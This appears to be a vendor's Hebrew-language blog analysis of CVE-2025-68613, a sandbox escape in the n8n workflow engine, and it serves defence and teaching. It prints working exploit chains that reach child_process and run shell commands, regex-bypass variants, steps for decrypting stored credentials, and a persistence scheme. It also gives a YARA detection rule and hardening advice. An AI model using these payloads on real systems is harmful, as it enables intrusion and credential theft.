כותרת Penligent

CVE-2025-68613 ניתוח מעמיק: כיצד בריחות Node.js Sandbox משבשות את מנוע זרימת העבודה n8n

בימים האחרונים של שנת 2025, קהילת DevSecOps נדהמה מהחשיפה של CVE-2025-68613, פגיעות קריטית עם ציון CVSS מקסימלי של 10.0. היעד היה n8n, כלי האוטומציה הפופולרי ביותר בעולם לניהול זרימת עבודה בקוד פתוח, המשמש כמערכת העצבים המרכזית של אלפי ארגונים, ומתאם נתונים בין מערכות CRM, מסדי נתונים ותשתית ענן.

עבור מהנדס אבטחה מובחר, לבטל את זה כ"פגיעות בקוד נמוך" זו טעות. CVE-2025-68613 הוא שיעור מאלף בניצול JavaScript מודרני. הוא מדגים כיצד ה- סביבת ריצה דינמית של Node.js, בשילוב עם פגום מודל יכולות אובייקט ו זיהום אב טיפוס טכניקות, יכולות לשמש כנשק כדי להפוך פלטפורמת אוטומציה תמימה לראש גשר ברמת השורש.

מאמר זה נטש את הדיווח השטחי כדי לבצע ניתוח ברמת הבייט של פרימיטיביי הבריחה מהארגז החול, הכישלון של vm מודול, וכיצד ניתוח לוגי המונע על ידי בינה מלאכותית משנה את כללי המשחק עבור צוותי Blue Teams.

ארכיטקטורת הכישלון: מדוע Node.js vm הפסקות מודול

כדי להבין את הפרצה, עלינו להבין תחילה את הסביבה. n8n מאפשר למשתמשים לעבד נתונים באמצעות ביטויי JavaScript, העטופים בדרך כלל ב- {{ }} תחביר. כדי לבצע קוד משתמש לא מהימן זה, n8n (לפני גרסה 1.122.0) הסתמך על Node.js המקורי. vm מודול.

ה vm המודול מספק ממשקי API להידור והפעלת קוד בהקשרים של מכונת וירטואלית V8. הוא מאפשר ליצור "ארגז חול" — אובייקט בהקשר המשמש כטווח הגלובלי עבור הקוד המבוצע.

אשליית ה"ביטחון"

הנחת היסוד של vm.runInNewContext(קוד, ארגז חול) האם הקוד בפנים לא יכול לגשת לאובייקטים מחוץ ל- ארגז חול אובייקט.

  • תיאוריה: ארגז החול הוא אי.
  • המציאות: האי מחובר ליבשת באמצעות גשרים (שרשרת האב-טיפוס).

אם היישום המארח עובר כלשהו אובייקט לתוך ארגז החול (למשל, חשיפת משתני סביבה באמצעות process.env או פונקציות שירות באמצעות עוזרים אובייקט), הבידוד נפגע. במקרה של n8n, הקשר הביצוע כלל הפניות לנתוני זרימת העבודה, אשר קישרו באופן מרומז חזרה לגרף האובייקטים של סביבת המארח.

מסקנה טכנית עיקרית: Node.js vm המודול הוא לא מנגנון אבטחה. זהו מנגנון הגדרת היקף. כפי שמזהיר במפורש התיעוד של Node.js: "אל תשתמש בו להפעלת קוד שאינו אמין." CVE-2025-68613 הוא התוצאה הישירה של התעלמות מאזהרה זו.

סביבת Sandbox של Node.js

אנטומיה של הניצול: משרשרת אב טיפוס ל-RCE

הפרימיטיב של CVE-2025-68613 סובב סביב מעבר על שרשרת האבות-טיפוס של JavaScript כדי לברוח מה- vm הקשר ולגשת למארח פונקציה קונסטרוקטור.

טכניקת הטיפוס "קונסטרוקטור"

ב-JavaScript, אובייקטים יורשים תכונות מהאבטיפוסים שלהם.

  1. זה: בתוך הביטוי n8n, זה מתייחס לאובייקט הקשר sandbox.
  2. this.constructor: זה מצביע על הפונקציה שיצרה את אובייקט ההקשר. ברוב המקרים vm יישומים, זה נפתר ל אובייקט קונסטרוקטור בתוך ארגז החול.
  3. this.constructor.constructor: כאן טמון הפער. מכיוון שה אובייקט הקונסטרוקטור בתוך ארגז החול נגזר בסופו של דבר מהפרימיטיבים של מנוע V8, ופעמים רבות מעבר על הקונסטרוקטור שלו מוביל ל- סביבת המארח פונקציה קונסטרוקטור.

ברגע שתוקף מחזיק ב-Host פונקציה קונסטרוקטור, הם למעשה בעלי eval() שווה ערך שמבוצע בהקשר של המארח — מחוץ לארגז החול.

קוד שרשרת ההרג

בואו ננתח את ההיגיון העומד מאחורי מטען נשק שנועד לעקוף מסננים בסיסיים.

JavaScript

// שלב 1: בריחה מה-Sandbox // אנו ניגשים למחלקת ה-Foreign Function (הקשר המארח) const ForeignFunction = this.constructor.constructor;

// שלב 2: גישור הפער // אנו משתמשים בפונקציה הזרה כדי ליצור סגירה המחזירה את האובייקט 'process'. // פונקציה חדשה זו אינה כפופה למגבלות הסנדבוקס. const getProcess = ForeignFunction(‘return process’);

// שלב 3: ביצוע // אנו מבצעים את הפונקציה כדי לאחזר את ידית התהליך הגלובלית. const proc = getProcess();

// שלב 4: ייבוא יכולות // אנו משתמשים ב-process.mainModule כדי לגשת למטעין המודולים הפנימי. const require = proc.mainModule.require;

// שלב 5: הנשק // אנו טוענים את 'child_process' ומבצעים פקודת shell. const result = require(‘child_process’).execSync(‘cat /etc/passwd’).toString();`

בהקשר של זרימת עבודה n8n, כל השרשרת הזו ממוזערת ומוזרקת לשדה ביטוי לגיטימי, כגון משתנה צומת "Set" או ערך כותרת בקשת HTTP.

התחמקות מתקדמת: עקיפת ניתוח סטטי

כאשר CVE-2025-68613 הוזכר לראשונה בחוגים פרטיים העוסקים באיתור באגים, ניסו כמה מנהלים למתן את השפעתו באמצעות כללי WAF או מסנני regex החוסמים מילות מפתח כגון תהליך, קונסטרוקטור, או לדרוש.

בשפה דינמית כמו JavaScript, קל מאוד לעקוף סינון סטטי.

טכניקה א': אריתמטיקה של מחרוזות וקידוד

תוקפים יכולים לשחזר מילות מפתח אסורות בזמן ריצה באמצעות שרשור מחרוזות או קודי תווים ASCII.

JavaScript

{{ // עקיפת מסנני regex "constructor" ו-"process" (() => { const c = "con" + "structor"; const p = "pro" + "cess";

// שימוש בסימון גישה למערך במקום בסימון נקודה const foreignFunc = this[c][c]; const proc = foreignFunc("return " + p)(); return proc.mainModule.require("child_process").execSync("id").toString();

})() }}`

טכניקה ב': ממשק ה-API של Reflect והסוואת פרוקסי

ניצולים מתקדמים מנצלים את להרהר API לבדיקה והפעלת מאפיינים ללא שמות ישירים, מה שהופך את ניתוח עץ התחביר המופשט (AST) לקשה משמעותית עבור כלי אבטחה מסורתיים.

JavaScript

{{ // שימוש ב-Reflect כדי למצוא באופן דינמי את הקונסטרוקטור מבלי לתת לו שם const keys = Reflect.ownKeys(this.פרוטו); const consKey = keys.find(k => k.toString().charCodeAt(0) == 99); // ‘c’

const ForeignFunction = Reflect.get(this, consKey)[consKey]; // המשך עם RCE...

}}`

זה מדגים מדוע התאמת תבניות היא פגומה מיסודה מול פגיעויות לוגיות בשפות מתורגמות.

לאחר הניצול: n8n כציר C2 האולטימטיבי

השגת RCE על מופע n8n היא לעתים קרובות בעלת ערך רב יותר מאשר פגיעה בשרת אינטרנט סטנדרטי. n8n נמצא בצומת של צינורות הנתונים הרגישים ביותר של הארגון.

1. כספת האישורים

n8n מאחסן אישורים עבור שירותים מחוברים (AWS, Stripe, Salesforce, PostgreSQL) בבסיס הנתונים הפנימי שלו (ברירת המחדל היא SQLite הממוקם ב- ~/.n8n/database.sqlite). למרות שהן מוצפנות, RCE מאפשר לתוקף:

  1. קרא את מפתח ההצפנה מהמשתנה הסביבתי (N8N_ENCRYPTION_KEY) או ה config קובץ.
  2. פענח את כל מאגר האישורים.
  3. עבור לצדדים לתשתית הענן באמצעות מפתחות תקפים בעלי הרשאות גבוהות.

2. התמדה ללא קבצים

תוכנות זדוניות מסורתיות משאירות קובץ בינארי בדיסק, שפתרונות EDR (Endpoint Detection and Response) יכולים לסרוק.

ב-n8n, תוקף יכול ליצור "זרימת עבודה צללית":

  • הדק: צומת "Cron" המוגדר לפעול כל 10 דקות.
  • פעולה: צומת "פונקציה" המבצע JavaScript זדוני (לדוגמה, מעטפת הפוכה או סקריפט להוצאת נתונים).
  • אחסון: התוכנה הזדונית קיימת רק כאובייקט JSON במסד הנתונים n8n. זהו ללא קובץ, עמיד, ומשתלב עם לוגיקה עסקית לגיטימית.

זיהוי לוגיקה מבוסס בינה מלאכותית: היתרון של Penligent

איתור CVE-2025-68613 הוא סיוט עבור סורקי DAST (בדיקות אבטחת יישומים דינמיות) מסורתיים.

  • הבעיה: סורקים מסתמכים על "בלתי נראה". הם שולחים מטענים כמו ' OR 1=1 -- או <script>alert(1)</script>. מול מנוע ביטוי, מטענים אלה גורמים פשוט לשגיאות תחביר. זרימת העבודה נכשלת, והסורק מדווח על "נקי".
  • הפער הלוגי: כדי לזהות זאת, כלי חייב להבין תחביר JavaScript ו הקשר של זרימת העבודה.

זה המקום שבו Penligent.ai מייצג שינוי פרדיגמטי. Penligent עושה שימוש ב- סוכני AI המודעים להקשר המבצעים ניתוח סמנטי:

  1. פוזינג תחבירי: סוכני Penligent מכירים את {{ }} תחביר כנקודת הזרקת קוד. במקום מחרוזות אקראיות, הסוכן בונה אובייקטי JavaScript תקפים.
  2. בדיקת יכולות אובייקט: הסוכן מזריק בדיקות בטוחות כדי לבדוק את גבולות ארגז החול (לדוגמה, {{ this.constructor.name }}). הוא מנתח את הפלט. אם הוא רואה "אובייקט" או "פונקציה", הוא מסיק שרשרת האבטיפוס שלמה.
  3. מוטציה של ערפול: אם בדיקה נחסמת (למשל, "גישה נדחתה"), הבינה המלאכותית של Penligent מבצעת באופן אוטומטי שינוי מבני של המטען באמצעות טכניקות העקיפה שהוזכרו לעיל (אריתמטיקה של מחרוזות, Reflect API) כדי לוודא שהחסימה היא רק שטחית.

על ידי הדמיית המתודולוגיה האיטרטיבית של חוקר אנושי, Penligent מאמתת את ניצול של ההיגיון, ומספק הוכחת תפיסה (PoC) ולא תוצאה חיובית כוזבת.

מדריך צוות כחול: איתור והגנה

עבור הצוות הכחול, כדי למתן את CVE-2025-68613 נדרשת אסטרטגיית הגנה מעמיקה, המבוססת על ההנחה כי שכבת היישום עלולה להיפרץ.

1. חתימות רשת (YARA/Snort)

אמנם הצפנת מטען מקשה על זיהוי ברשת, אך תוקפים רבים משתמשים במטענים ברירת מחדל. יש לפקח על בקשות HTTP POST לכתובת /rest/workflows המכילים דפוסים חשודים של JavaScript.

דוגמה לכלל YARA:

כלל DETECT_N8N_EXPRESSION_INJECTION { meta: description = "מזהה ניסיונות בריחה מ-JS sandbox ב-n8n (CVE-2025-68613)" severity = "קריטי" strings: $token_start = "{{" $js_constructor = "constructor" $js_process = "process.mainModule" $js_child = "child_process" $js_char_code = "String.fromCharCode" $js_reflect = "Reflect.get" condition: $token_start and (2 of ($js_*)) }

2. חיזוק אדריכלי

  • מכולות: לעולם אל תריץ את n8n כ-root. השתמש במכולות Docker ללא root עם מערכת קבצים לקריאה בלבד.
  • ירידת מכסה: הפעל את הקונטיינר עם -cap-drop=ALL כדי למנוע העלאת הרשאות גם לאחר RCE.
  • סינון יציאה: הגדר את מדיניות הרשת של Kubernetes או את קבוצות האבטחה של AWS כדי לחסום את כל התעבורה היוצאת מהמכולה n8n, למעט ממשקי API המופיעים ברשימת ההיתרים הדרושים לתהליכי העבודה. פעולה זו מבטלת את חיבור ה-reverse shell.

3. נעילת סביבה

הגדר את משתנה הסביבה N8N_BLOCK_ENV_ACCESS_IN_NODE=true. תכונה זו, שהוצגה בגרסאות מאוחרות יותר, מנסה לחסום גישה ל process.env מתוך הצמתים, וממתן את גניבת האישורים גם אם הצליחו לבצע את הקוד.

מסקנה: סוף האמון המובלע

CVE-2025-68613 מהווה נקודת מפנה עבור אבטחת פלטפורמות Low-Code. הוא מזכיר לנו ש גמישות היא אויבת הביטחון. כאשר אנו מעניקים למשתמשים את הכוח של שפה שלמה מבחינה טיורינגית כמו JavaScript כדי לעבד נתונים, אנו מזמינים אותם אל ליבת היישום שלנו.

העתיד של אוטומציה מאובטחת אינו טמון ב"מסנני regex משופרים" או ב"תיקונים". vm מודולים", אלא בטכנולוגיות בידוד אדריכליות כמו WebAssembly (Wasm) או V8 מבודד, המספקים סביבת בדיקה בטוחה באמת. עד אז, תיקונים קפדניים, בדיקות מבוססות בינה מלאכותית ופיצול רשת אגרסיבי נותרים ההגנה היחידה שלנו.

הפניות אמינות וקריאה נוספת

שתף את הפוסט:
פוסטים קשורים
he_ILHebrew